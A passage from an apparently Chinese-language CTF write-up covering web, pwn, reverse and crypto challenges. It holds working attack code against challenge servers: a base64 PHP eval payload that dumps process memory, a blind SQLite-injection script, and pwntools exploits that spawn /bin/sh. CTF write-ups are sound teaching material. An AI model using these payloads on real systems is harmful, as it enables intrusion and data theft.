re.match(r\u0026#39;([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])\u0026#39;, line) if m.group(3) == \u0026#39;r\u0026#39;: # if this is a readable region start = int(m.group(1), 16) end = int(m.group(2), 16) mem_file.seek(start) # seek to region start chunk = mem_file.read(end - start) # read region contents output_file.write(chunk) # dump contents to standard output maps_file.close() mem_file.close() output_file.close() 我盲猜flag就在内存里，但我也不是打二进制的，也不知道在哪，于是就打算把整个chunk全部正则匹配即可。\n把上述代码翻译成php，修改部分内容如下：\n\u0026lt;?php $maps_file = fopen(\u0026#34;/proc/self/maps\u0026#34;, \u0026#34;r\u0026#34;); $mem_file = fopen(\u0026#34;/proc/self/mem\u0026#34;, \u0026#34;rb\u0026#34;); while(! feof($maps_file)) { $line = fgets($maps_file);//fgets()函数从文件指针中读取一行 $m = preg_match(\u0026#34;/([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])/\u0026#34;, $line, $match); if($match[3] == \u0026#39;r\u0026#39;) { $start = hexdec($match[1]); $end = hexdec($match[2]); fseek($mem_file, $start); $chunk = fread($mem_file, $end - $start); if(preg_match(\u0026#34;/flag\\{.*\\}/\u0026#34;, $chunk)) { preg_match(\u0026#34;/(flag\\{.*\\})/\u0026#34;, $chunk, $ans); var_dump($ans); } } } fclose($maps_file); fclose($mem_file); ?\u0026gt; 最后用base64+urlencode传参（有了安洵杯的教训，base64一定要编码），最终payload如下：\nhttp://5b599005-3dfe-44e4-ac13-96fc3b194f3e.nssctf.neusoft.edu.cn/?eval=eval(base64_decode(%22JG1hcHNfZmlsZSA9IGZvcGVuKCIvcHJvYy9zZWxmL21hcHMiLCAiciIpOwokbWVtX2ZpbGUgPSBmb3BlbigiL3Byb2Mvc2VsZi9tZW0iLCAicmIiKTsKd2hpbGUoISBmZW9mKCRtYXBzX2ZpbGUpKSB7CiAgICAgICAgJGxpbmUgPSBmZ2V0cygkbWFwc19maWxlKTsvL2ZnZXRzKCnlh73mlbDku47mlofku7bmjIfpkojkuK3or7vlj5bkuIDooYwKICAgICAgICAgICAgJG0gPSBwcmVnX21hdGNoKCIvKFswLTlBLUZhLWZdKyktKFswLTlBLUZhLWZdKykgKFstcl0pLyIsICRsaW5lLCAkbWF0Y2gpOwogICAgICAgICAgICBpZigkbWF0Y2hbM10gPT0gJ3InKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0YXJ0ID0gaGV4ZGVjKCRtYXRjaFsxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRlbmQgPSBoZXhkZWMoJG1hdGNoWzJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgZnNlZWsoJG1lbV9maWxlLCAkc3RhcnQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNodW5rID0gZnJlYWQoJG1lbV9maWxlLCAkZW5kIC0gJHN0YXJ0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goIi9mbGFnXHsuKlx9LyIsICRjaHVuaykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goIi8oZmxhZ1x7LipcfSkvIiwgJGNodW5rLCAkYW5zKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyX2R1bXAoJGFucyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KfQpmY2xvc2UoJG1hcHNfZmlsZSk7CmZjbG9zZSgkbWVtX2ZpbGUpOw%3D%3D%22)); *wschat 前后端交互用的是socket io，参数格式用的是protobuf，前端的js加了很多混淆和反调试。可以在这个网站https://lelinhtinh.github.io/de4js/做个简单的恢复后再看。\n贴一下我恢复后的还算是能看的关键代码：\n\u0026lt;html\u0026gt; ... \u0026lt;script src=\u0026#34;//cdn.bootcss.com/socket.io/2.1.1/socket.io.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;protobuf.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; ... let sock = io.connect(\u0026#39;ws://\u0026#39; + window.location.host + \u0026#39;/\u0026#39;); var WSMessage, wsmessage, buffer; protobuf.load(\u0026#39;chat.proto\u0026#39;, function (err, _0x75e501) { if (err) throw err; LoginReq = _0x75e501.lookup(\u0026#39;wschat.chat.LoginReq\u0026#39;), RegReq = _0x75e501.lookup(\u0026#39;wschat.chat.RegReq\u0026#39;), ServerRsp = _0x75e501.lookup(\u0026#39;wschat.chat.ServerRsp\u0026#39;), MsgReq = _0x75e501.lookup(\u0026#39;wschat.chat.MsgReq\u0026#39;), LogoutReq = _0x75e501.lookup(\u0026#39;wschat.chat.LogoutReq\u0026#39;); }), window.onload = function () { let _0x1f4215 = \u0026#39;\u0026#39;, btn1 = document.getElementById(\u0026#39;btn1\u0026#39;), btn2 = document.getElementById(\u0026#39;btn2\u0026#39;), btn_send = document.getElementById(\u0026#39;btn_send\u0026#39;), user = document.getElementById(\u0026#39;user\u0026#39;), pass = document.getElementById(\u0026#39;pass\u0026#39;), txt1 = document.getElementById(\u0026#39;txt1\u0026#39;), ul1 = document.getElementById(\u0026#39;ul1\u0026#39;); btn1.onclick = function () { var _0x3689c9 = RegReq.create({ \u0026#39;username\u0026#39;: user.value, \u0026#39;password\u0026#39;: pass.value }), _0x38c60d = RegReq.encode(_0x3689c9).finish(); sock.emit(\u0026#39;reg\u0026#39;, _0x38c60d.slice().buffer); }, sock.on(\u0026#39;reg_ret\u0026#39;, (_0x77442, _0x4d8078) =\u0026gt; { _0x77442 ? alert(_0x4d8078) : alert(_0x4d8078); }), btn2.onclick = function () { if (!/^\\w{1,16}$/ [\u0026#39;test\u0026#39;](user.value)) { alert(\u0026#39;用户名不符合规范\u0026#39;); return; } if (!/^\\w{1,16}$/ [\u0026#39;test\u0026#39;](pass.value)) { alert(\u0026#39;密码不符合规范\u0026#39;); return; } var _0xea8ad4 = LoginReq.create({ \u0026#39;username\u0026#39;: user.value, \u0026#39;password\u0026#39;: pass.value }), _0x581e63 = LoginReq.encode(_0xea8ad4).finish(); sock.emit(\u0026#39;login\u0026#39;, _0x581e63.slice().buffer); }, sock.on(\u0026#39;login_ret\u0026#39;, (_0x253784, _0x4ca143) =\u0026gt; { _0x253784 ? alert(_0x4ca143) : (_0x1f4215 = user.value, alert(_0x4ca143)); }), btn_send.onclick = function () { var _0x254c70 = MsgReq.create({ \u0026#39;msg\u0026#39;: txt1.value }), _0x56ebdb = MsgReq.encode(_0x254c70).finish(); sock.emit(\u0026#39;msg\u0026#39;, _0x56ebdb.slice().buffer); }, sock.on(\u0026#39;msg\u0026#39;, (_0x2378cb, _0x4ce8f4) =\u0026gt; { let _0x3ca130 = document.createElement(\u0026#39;li\u0026#39;); _0x3ca130.innerHTML = \u0026#39;\u0026lt;h3\u0026gt;\u0026#39; + _0x2378cb + \u0026#39;\u0026lt;/h3\u0026gt;\u0026lt;p\u0026gt;\u0026#39; + _0x4ce8f4 + \u0026#39;\u0026lt;/p\u0026gt;\u0026#39;, ul1.appendChild(_0x3ca130); }), sock.on(\u0026#39;msg_ret\u0026#39;, (_0x491ba1, _0x25dec1) =\u0026gt; { if (_0x491ba1) alert(\u0026#39;发送失败：\u0026#39; + _0x25dec1); else { let _0x4a7033 = document.createElement(\u0026#39;li\u0026#39;); _0x4a7033.className = \u0026#39;mine\u0026#39;, _0x4a7033.innerHTML = \u0026#39;\u0026lt;h3\u0026gt;\u0026#39; + _0x1f4215 + \u0026#39;\u0026lt;/h3\u0026gt;\u0026lt;p\u0026gt;\u0026#39; + txt1.value + \u0026#39;\u0026lt;/p\u0026gt;\u0026#39;, ul1.appendChild(_0x4a7033), txt1.value = \u0026#39;\u0026#39;; } }); }, setInterval(function () { _0x6c017f(); }, 4000); ... \u0026lt;/script\u0026gt; \u0026lt;/html\u0026gt; 这段代码引入了socket io和protobuf，socket io有reg、reg_ret、login、login_ret、msg、msg_ret事件，传递的参数均使用protobuf打包，看一下protobuf定义文件chat.proto：\npackage wschat; message chat { message LoginReq { required string username = 1; required string password = 2; } message RegReq { required string username = 1; required string password = 2; } message ServerRsp { required int32 retcode = 1; optional string reply = 2; } message MsgReq { required string msg = 1; } message LogoutReq { } } 回到上面的代码，其中登录接口是前端校验，限制用户名密码只能为1-16位字母数字下划线，前端校验可以用burp替换为空。\n题目中提示网站为nodejs + sqlite，尝试一下sqlite注入，首先注册一个用户名密码均为admin的账户，然后用户名输入admin\u0026rsquo;，密码admin，提示数据库出错，用户名尝试admin\u0026rsquo;\u0026ndash;，提示登录成功，存在注入点。\n由于是盲注，socket io实现又很慢，只能硬撸出一个脚本。参考 https://developers.google.com/protocol-buffers/docs/pythontutorial 实现protobuf，参考 https://python-socketio.readthedocs.io/en/latest/ 实现socket io。\n在 https://developers.google.com/protocol-buffers/docs/downloads 下载protoc，然后把.proto文件编译成python文件：\nprotoc -I=chat.proto目录 --python_out=输出目录 chat.proto路径 然后运行脚本：\nimport socketio import time import string import chat_pb2 url = \u0026#39;http://4b89d5d3-7df8-4a8c-9352-08dbc410f835.nssctf.neusoft.edu.cn/\u0026#39; sio = socketio.Client() LoginReq = chat_pb2.chat.LoginReq() RegReq = chat_pb2.chat.RegReq() ServerRsp = chat_pb2.chat.ServerRsp() MsgReq = chat_pb2.chat.MsgReq() LogoutReq = chat_pb2.chat.LogoutReq() # alphabet = string.ascii_letters + string.digits + \u0026#39;{_.,}\u0026#39; # alphabet = string.printable + string.whitespace alphabet = string.ascii_lowercase + string.digits @sio.event def reg_ret(err, data): global _err, _data, recvFlag # print(err, data) _err = err _data = data recvFlag = True @sio.event def login_ret(err, data): global _err, _data, recvFlag # print(err, data) _err = err _data = data recvFlag = True @sio.event def msg(title, content): print(title, content) @sio.event def msg_ret(err, data): print(err, data) @sio.event def connect(): print(\u0026#39;connection established\u0026#39;) @sio.event def disconnect(): print(\u0026#39;disconnected from server\u0026#39;) def register(username=\u0026#39;admin\u0026#39;, password=\u0026#39;admin\u0026#39;): RegReq.username = username RegReq.password = password sio.emit(\u0026#39;reg\u0026#39;, RegReq.SerializeToString()) while not recvFlag: pass err, data = _err, _data init() return err, data def login(username=\u0026#39;admin\u0026#39;, password=\u0026#39;admin\u0026#39;): LoginReq.username = username LoginReq.password = password sio.emit(\u0026#39;login\u0026#39;, LoginReq.SerializeToString()) while not recvFlag: pass err, data = _err, _data init() return err, data def init(): global recvFlag, _err, _data recvFlag = False _err = None _data = None if __name__ == \u0026#39;__main__\u0026#39;: sio.connect(url) init() register() # payload = \u0026#34;select group_concat(tbl_name) from sqlite_master where type=\u0026#39;table\u0026#39;\u0026#34; # payload = \u0026#34;select sql from sqlite_master where type=\u0026#39;table\u0026#39; and tbl_name=\u0026#39;f16g_1s_1n_th1s_table\u0026#39;\u0026#34; payload = \u0026#34;select group_concat(f16g) from f16g_1s_1n_th1s_table\u0026#34; length = 0 for i in range(1, 100): err, data = login(\u0026#34;admin\u0026#39; and length((%s))=%d--\u0026#34;%(payload, i)) # print(err, data) if err == 1: pass elif err == 0: length = i break else: print(\u0026#39;Error!\u0026#39;, err, data) print(\u0026#39;Length:\u0026#39;, length) # length = 6 flag = \u0026#39;\u0026#39; for i in range(1, length+1): found = False for c in alphabet: err, data = login(\u0026#34;admin\u0026#39; and hex(substr((%s),%d,1))=\u0026#39;%s\u0026#39;--\u0026#34;%(payload, i, c.encode().hex())) # print(flag+c, err, data) if err == 1: pass elif err == 0: found = True flag += c print(flag) break else: print(\u0026#39;Error!\u0026#39;, err, data) if not found: flag += \u0026#39;\\0\u0026#39; # version: 3.34.0 # table: user_table,sqlite_sequence,f1ag_not_in_here,test_table,f16g_1s_1n_th1s_table # column: \u0026#34;f16g\u0026#34; TEXT # f ag 34e7472f ffcf 400d aec3 a3b4fe390c1d # flag{34e7472f-ffcf-400d-aec3-a3b4fe390c1d} sio.disconnect() 吐槽一下，socket io是基于事件触发的，有点类似于智能合约，请求与响应没有严格的对应关系，只能把请求和响应封装成一个原子操作，模拟传统的HTTP请求，代价就是速度很慢很慢。sql注入部分就是常见的sqlite注入了，但是爆flag的时候不知道为什么有的位即使把0-255跑遍也跑不出来，猜测可能是使用了中文，一个字符不只一个字节，这种情况下的爆破时间过长，所以在脚本中如果常用字符找不到就用\\0占位，缺失的字符按照uuid的格式猜就行了。\nflag{34e7472f-ffcf-400d-aec3-a3b4fe390c1d} Pwn [签到]NssShop 随便输了个数\njustdoit 有一个汇编在调用read_long函数的最后，配合上atol可以任意往上往下更改栈的位置，利用这一点在栈上构造rop用ret2libc拿shell\nadd rbp rax 以下是exp\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./justdoit.1\u0026#34;) p = remote(\u0026#34;47.106.172.144\u0026#34;, 65004) elf = ELF(\u0026#34;./justdoit.1\u0026#34;) libc = ELF(\u0026#34;./libc-2.23.so\u0026#34;) pop_rdi = 0x00000000004012b3 main = 0x4011D5 p.recvuntil(\u0026#34;name?\u0026#34;) p.send(p64(main)+ p64(main) + p64(main)) p.recvuntil(\u0026#34;s??\u0026#34;) p.sendline(b\u0026#34;-24\u0026#34;) p.recvuntil(\u0026#34;name?\u0026#34;) p.send(p64(pop_rdi) + p64(elf.got[\u0026#34;puts\u0026#34;]) + p64(elf.plt[\u0026#34;puts\u0026#34;])) p.recvuntil(\u0026#34;s??\u0026#34;) p.sendline(b\u0026#34;-40\u0026#34;) libc.address = u64(p.recvuntil(\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;puts\u0026#34;] print(hex(libc.address)) p.recvuntil(\u0026#34;name?\u0026#34;) p.send(p64(pop_rdi) + p64(libc.search(b\u0026#39;/bin/sh\u0026#39;).__next__()) + p64(libc.sym[\u0026#39;system\u0026#39;])) p.recvuntil(\u0026#34;s??\u0026#34;) p.sendline(b\u0026#34;-40\u0026#34;) p.interactive() reallNeedGoodLuck 任意地址四字节写， 改error的got表为main，改atoi的got表为system，撞上的几率很大，直接手动爆破就行\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) libc = ELF(\u0026#34;./libc-2.23.so\u0026#34;) p=remote(\u0026#34;47.106.172.144\u0026#34;, 65003) # p = process(\u0026#34;./reallNeedGoodLuck.1\u0026#34;) # gdb.attach(p) p.recvuntil(\u0026#34;good\u0026#34;) p.send(b\u0026#34;\\xa9\\x11\\x40\\x00\u0026#34;) p.recvuntil(\u0026#34;luck!\u0026#34;) p.sendline(b\u0026#34;4210744\u0026#34;) p.recvuntil(\u0026#34;good\u0026#34;) p.send(b\u0026#34;\\x00\\x00\\xa0\\xf3\u0026#34;) p.recvuntil(\u0026#34;luck!\u0026#34;) p.sendline(b\u0026#34;4210734\u0026#34;) print(hex(libc.sym[\u0026#34;system\u0026#34;])) p.send(b\u0026#34;\\x00\\x00\\x00\\x00\u0026#34;) p.sendline(b\u0026#34;/bin/sh\\x00\u0026#34;) p.send(b\u0026#34;\\x00\\x00\\x00\\x00\u0026#34;) p.sendline(b\u0026#34;/bin/sh\\x00\u0026#34;) p.interactive() Reverse [签到]Signin [萌新]happyCTF s = \u0026#39;rxusoCqxw{yqK`{KZqag{r`i\u0026#39; for i in s: print(chr(ord(i)^0x14),end=\u0026#39;\u0026#39;) #flag{Welcome_to_Neusoft} Remember Crypt 4 rc4加密，根据密钥解密即可\ndef __rc4_init(key): keylength = len(key) S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % keylength]) % 256 S[i], S[j] = S[j], S[i] return S def rc4_crypt(key, data): S = __rc4_init(key) i = j = 0 result = b\u0026#39;\u0026#39; for a in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = (a ^ S[(S[i] + S[j]) % 256]).to_bytes(1, \u0026#39;big\u0026#39;) result += k return result l = [0x9E, 0xE7, 0x30, 0x5F, 0xA7, 0x01, 0xA6, 0x53, 0x59, 0x1B, 0x0A, 0x20, 0xF1, 0x73, 0xD1, 0x0E, 0xAB, 0x09, 0x84, 0x0E, 0x8D, 0x2B] n = [] for i in l: n.append(i^0x22) from libnum import n2s, s2n def convert(k): ret = [] while k \u0026gt; 0: ret.append(k \u0026amp; 0xff) k \u0026gt;\u0026gt;= 8 return ret[::-1] print(rc4_crypt(convert(s2n(\u0026#39;12345678abcdefghijklmnopqrspxyz\u0026#39;)),n)) #flag{nice_to_meet_you} EasyRe 用信号量实现的VM，先手动反汇编\ncode = [ 17, 52, 0, 42, 5, 16, 20, 9, 23, 0, 36, 5, 3, 17, 29, 6, 0, 0, 5, 3, 17, 64, 6, 0, 72, 5, 17, 29, 23, 14, 1, 21, 4, 15, 1, 22, 2, 0, 0, 4, 3, 5, 16, 20, 50, 5, 9, 2, 19, 29, 5, 18, 21, 4, 16, 20, 61, 10, 1, 19, 52, 3, 4, 18, 14, 1, 21, 4, 7, 1, 22, 2, 0, 0, 4, 3, 5, 16, 20, 85, 5, 9, 1, 19, 64, 5, 18 ] sub_400E1D = \u0026#34;push({});\u0026#34; sub_400E78 = \u0026#34;pop({});\u0026#34; sub_400F16 = \u0026#34;{} += {};\u0026#34; sub_400FA8 = \u0026#34;{} -= {};\u0026#34; eip = 0 # 20 eax = 0 # 16 ebx = 0 # 17 ecx = 0 # 18 edx = 0 # 19 memory = [2] * 0x1000 memory2 = [1] * 50 while eip \u0026lt; len(code): cur_op = code[eip] if cur_op == 0: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % (eip), sub_400E1D.format(cur_arg)) edx += 1 memory[edx] = cur_arg eip += 1 elif cur_op == 1: cur_arg = \u0026#34;eax\u0026#34; print (\u0026#34;_%02X:\u0026#34; % (eip), sub_400E1D.format(cur_arg)) edx += 1 memory[edx] = eax elif cur_op == 2: cur_arg = \u0026#34;ebx\u0026#34; print (\u0026#34;_%02X:\u0026#34; % (eip), sub_400E1D.format(cur_arg)) edx += 1 memory[edx] = ebx elif cur_op == 3: cur_arg = \u0026#34;ecx\u0026#34; print (\u0026#34;_%02X:\u0026#34; % (eip), sub_400E1D.format(cur_arg)) edx += 1 memory[edx] = ecx elif cur_op == 4: cur_arg = \u0026#34;eax\u0026#34; edx -= 1 print (\u0026#34;_%02X:\u0026#34; % eip, sub_400E78.format(cur_arg)) eax = memory[edx] elif cur_op == 5: cur_arg = \u0026#34;ebx\u0026#34; edx -= 1 print (\u0026#34;_%02X:\u0026#34; % eip, sub_400E78.format(cur_arg)) ebx = memory[edx] elif cur_op == 6: cur_arg = \u0026#34;ecx\u0026#34; edx -= 1 print (\u0026#34;_%02X:\u0026#34; % eip, sub_400E78.format(cur_arg)) ecx = memory[edx] elif cur_op == 7: eax += ebx print (\u0026#34;_%02X:\u0026#34; % eip, \u0026#34;eax += ebx;\u0026#34;) elif cur_op == 8: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, sub_400F16.format(\u0026#34;eax\u0026#34;, cur_arg)) eax += cur_arg eip += 1 elif cur_op == 9: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, sub_400F16.format(\u0026#34;ebx\u0026#34;, cur_arg)) ebx += cur_arg eip += 1 elif cur_op == 10: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, sub_400F16.format(\u0026#34;ecx\u0026#34;, cur_arg)) ecx += cur_arg eip += 1 elif cur_op == 11: eax -= ebx print (\u0026#34;_%02X:\u0026#34; % eip, \u0026#34;eax -= ebx;\u0026#34;) elif cur_op == 12: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, sub_400FA8.format(\u0026#34;eax\u0026#34;, cur_arg)) eax -= cur_arg eip += 1 elif cur_op == 13: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, sub_400FA8.format(\u0026#34;ebx\u0026#34;, cur_arg)) ebx -= cur_arg eip += 1 elif cur_op == 14: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, sub_400FA8.format(\u0026#34;ecx\u0026#34;, cur_arg)) eip += 1 elif cur_op == 15: eax ^= ebx print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;eax ^= ebx;\u0026#34;) elif cur_op == 16: zf = (eax == ebx) print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;zf = (eax == ebx);\u0026#34;) elif cur_op == 17: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;push(eip+2); eip = {hex(cur_arg)};\u0026#34;) memory[edx] = eip edx += 1 eip += 1 elif cur_op == 18: edx -= 1 print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;pop(eip);\u0026#34;) elif cur_op == 19: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;eip = {hex(cur_arg)};\u0026#34;) eip += 1 elif cur_op == 20: cur_arg = code[eip + 1] print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;if zf: eip = {hex(cur_arg)};\u0026#34;) eip += 1 elif cur_op == 21: memory[edx] = memory2[ecx] print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;push(memory2[ecx]);\u0026#34;) edx += 1 elif cur_op == 22: edx -= 1 memory2[ecx] = memory[edx] print (\u0026#34;_%02X:\u0026#34; % eip, f\u0026#34;pop(memory2[ecx]);\u0026#34;) elif cur_op == 23: print (\u0026#34;_%02X:\u0026#34; % eip, \u0026#34;break;\u0026#34;) eip += 1 拿到反汇编结果\n_00: push(eip+2); eip = 0x34; _02: push(42); _04: pop(ebx); _05: zf = (eax == ebx); _06: if zf: eip = 0x9; _08: break; _09: push(36); _0B: pop(ebx); _0C: push(ecx); _0D: push(eip+2); eip = 0x1d; _0F: pop(ecx); _10: push(0); _12: pop(ebx); _13: push(ecx); _14: push(eip+2); eip = 0x40; _16: pop(ecx); _17: push(72); _19: pop(ebx); _1A: push(eip+2); eip = 0x1d; _1C: break; _1D: ecx -= 1; _1F: push(memory2[ecx]); _20: pop(eax); _21: eax ^= ebx; _22: push(eax); _23: pop(memory2[ecx]); _24: push(ebx); _25: push(0); _27: pop(eax); _28: push(ecx); _29: pop(ebx); _2A: zf = (eax == ebx); _2B: if zf: eip = 0x32; _2D: pop(ebx); _2E: ebx += 2; _30: eip = 0x1d; _32: pop(ebx); _33: pop(eip); _34: push(memory2[ecx]); _35: pop(eax); _36: zf = (eax == ebx); _37: if zf: eip = 0x3d; _39: ecx += 1; _3B: eip = 0x34; _3D: push(ecx); _3E: pop(eax); _3F: pop(eip); _40: ecx -= 1; _42: push(memory2[ecx]); _43: pop(eax); _44: eax += ebx; _45: push(eax); _46: pop(memory2[ecx]); _47: push(ebx); _48: push(0); _4A: pop(eax); _4B: push(ecx); _4C: pop(ebx); _4D: zf = (eax == ebx); _4E: if zf: eip = 0x55; _50: pop(ebx); _51: ebx += 1; _53: eip = 0x40; _55: pop(ebx); _56: pop(eip); 发现其实是调用了几个函数，分别在0x34、0x40、0x1D\n0x34处的函数判断了长度，0x1D处的函数从后往前异或数字，每次加2，0x40处的函数从后往前进行加法，数字每次加1\n所以最后的加密算法为：首先从后往前 ^36, ^38, ^40，随后从后往前+0, +1, +2\u0026hellip;，最后从后往前 ^72, ^74, ^76\u0026hellip;\n反向解密即可\ns2 = [ 0xA3, 0xD8, 0xAC, 0xA9, 0xA8, 0xD6, 0xA6, 0xCD, 0xD0, 0xD5, 0xF7, 0xB7, 0x9C, 0xB3, 0x31, 0x2D, 0x40, 0x5B, 0x4B, 0x3A, 0xFD, 0x57, 0x42, 0x5F, 0x58, 0x52, 0x54, 0x1B, 0x0C, 0x78, 0x39, 0x2D, 0xD9, 0x3D, 0x35, 0x1F, 0x09, 0x41, 0x40, 0x47, 0x42, 0x11 ] flag = \u0026#39;\u0026#39; x = 36 y = 0 z = 72 for i in s2[::-1]: flag += chr(((i ^ z) - y) ^ x) x += 2 y += 1 z += 2 print (flag[::-1]) # \u0026#39;flag{Now_Y0u_Know_th4_Signa1_0f_Linux!!!!}\u0026#39; Crypto [萌新]素数 使用gmpy2生成10个大素数，然后依次提交即可\n[签到]键盘侠 根据题目名称，猜测和键盘有关系\n将密文放入键盘的对应位置后，发现一组密文在键盘上构成一个图案，这个图案是一个字母\n比如UYTGBNM在键盘上组成一个C，同样的方式和可以还原出其他字母\nsilent_peeper 离散对数，考虑幂只有40bit，用BSGS即可解出答案。\nsage: p = 17480715736546509273132356167852223654917350291331787539356496312333028105252468745075491024000992015452563532 ....: 520952698743383378549938420481917954954410649849158983419586000890687503941868419125253760412312965974672161440234 ....: 6449135195832955793815709136053198207712511838753919608894095907732099313139446299843 ....: g = 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307 ....: 185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366 ....: 973332463469104730271236078593527144954324116802080620822212777139186990364810367977 ....: sage: bsgs(mod(g,p),mod(A,p),(0,1\u0026lt;\u0026lt;40)) 822690494337 sage: bsgs(mod(g,p),mod(B,p),(0,1\u0026lt;\u0026lt;40)) 621209248538 sage: key = pow(A, 621209248538 ,p) sage: key 49490143664250726340234715933627573928019204778410313862054713655398194526581099674219755475997125892095025977920719640048704962181220475413665581922989858463397985369540020911109237604500080688916224884254427061443849735076051958183562833019840975221087968773423237208708556105725003184929141476854095400756 \u0026gt;\u0026gt;\u0026gt; from Crypto.Util.number import * \u0026gt;\u0026gt;\u0026gt; from Crypto.Cipher import AES \u0026gt;\u0026gt;\u0026gt; ciphertext = 0xed5c68ebb65aa3a13afb259cf3984ce60bdc54b7ef918b850745df850cf4c450b02216c0c6e67ed501a17e516496cd6c \u0026gt;\u0026gt;\u0026gt; key = 49490143664250726340234715933627573928019204778410313862054713655398194526581099674219755475997125892095025977920719640048704962181220475413665581922989858463397985369540020911109237604500080688916224884254427061443849735076051958183562833019840975221087968773423237208708556105725003184929141476854095400756 \u0026gt;\u0026gt;\u0026gt; key = long_to_bytes(key)[:16] \u0026gt;\u0026gt;\u0026gt; cipher = AES.new(key, AES.MODE_ECB) \u0026gt;\u0026gt;\u0026gt; cipher.decrypt(int.to_bytes(ciphertext, ciphertext.bit_length()//8, \u0026#39;big\u0026#39;)) b\u0026#39;flag{21384433-0dc7-413b-9d09-64cc97c99730}\\x06\\x06\\x06\\x06\\x06\\x06\u0026#39; EzDES 题目是个DES一轮差分，有数学公式: $ L_1=R_0,R_1=L_0\\oplus f(R_0,K_0) $，其中L1R1,L0R0都是已知量，只需要逆推到s盒附近，通过s盒的结果爆破s盒的输入即可，有65536种可能，然后用剩下几个明密文对验证，排除出剩一种结果。主要代码如下(请将S盒，IP盒等内容分别命名为IP_1.txt，sbox.txt等放入文件src子目录下，详情见代码)\n######################################################################### # Get roundKey ######################################################################### # get the move number def getMoveNum(): res = [0] * 16 for i in range(16): if i == 0 or i == 1 or i == 8 or i == 15: res[i] = 1 else: res[i] = 2 return res # get the PC_1 table and PC_2 table def getPC(): PC_1_str = open(\u0026#39;./src/PC_1.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() PC_2_str = open(\u0026#39;./src/PC_2.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() PC_1 = [0] * len(PC_1_str) PC_2 = [0] * len(PC_2_str) for i in range(len(PC_1_str)): PC_1[i] = int(PC_1_str[i]) for i in range(len(PC_2_str)): PC_2[i] = int(PC_2_str[i]) return PC_1, PC_2 # cyclic shift to the left def leftRow(arr, n): temp = [0] * n length = len(arr) for i in range(n): temp[i] = arr[i] for i in range(length): if i \u0026lt; length - n: arr[i] = arr[i + n] else: arr[i] = temp[i - length + n] return arr # get the k0 - k16 def genKey(key): C = [0] * 28 D = [0] * 28 K = [0] * 56 roundKey = [[0]*48 for i in range(16)] PC_1, PC_2 = getPC() moveNum = getMoveNum() # get K+ for i in range(56): K[i] = key[PC_1[i] - 1] # get C0 and D0 for i in range(28): C[i] = K[i] D[i] = K[i + 28] # get roundKey for i in range(16): C = leftRow(C, moveNum[i]) D = leftRow(D, moveNum[i]) for j in range(48): if PC_2[j] \u0026lt;= 28: roundKey[i][j] = C[PC_2[j] - 1] else: roundKey[i][j] = D[PC_2[j] - 28 -1] return roundKey ######################################################################### # Encrypt and Decrypt ######################################################################### #get the IP and PC_1 table def getIP(): IP_str = open(\u0026#39;./src/IP.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() IP_1_str = open(\u0026#39;./src/IP_1.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() IP = [0] * len(IP_str) IP_1 = [0] * len(IP_1_str) for i in range(len(IP_str)): IP[i] = int(IP_str[i]) for i in range(len(IP_1_str)): IP_1[i] = int(IP_1_str[i]) return IP, IP_1 # l1 xor l2 def xor(l1, l2): res = [0] * len(l1) for i in range(len(l1)): res[i] = l1[i] ^ l2[i] return res # get the Extend table def getE(): E_str = open(\u0026#39;./src/extend.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() E = [0] * len(E_str) for i in range(len(E_str)): E[i] = int(E_str[i]) return E # extend R from 32 bit to 48 bit def extend(R): res = [0] * 48 E = getE() for i in range(48): res[i] = R[E[i] - 1] return res # get sbox in 3 dim def getSbox(): S_str = open(\u0026#39;./src/sbox.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() S = [[[0]*16 for i in range(4)]for i in range(8)] l = 0 for i in range(8): for j in range(4): for k in range(16): S[i][j][k] = int(S_str[l]) 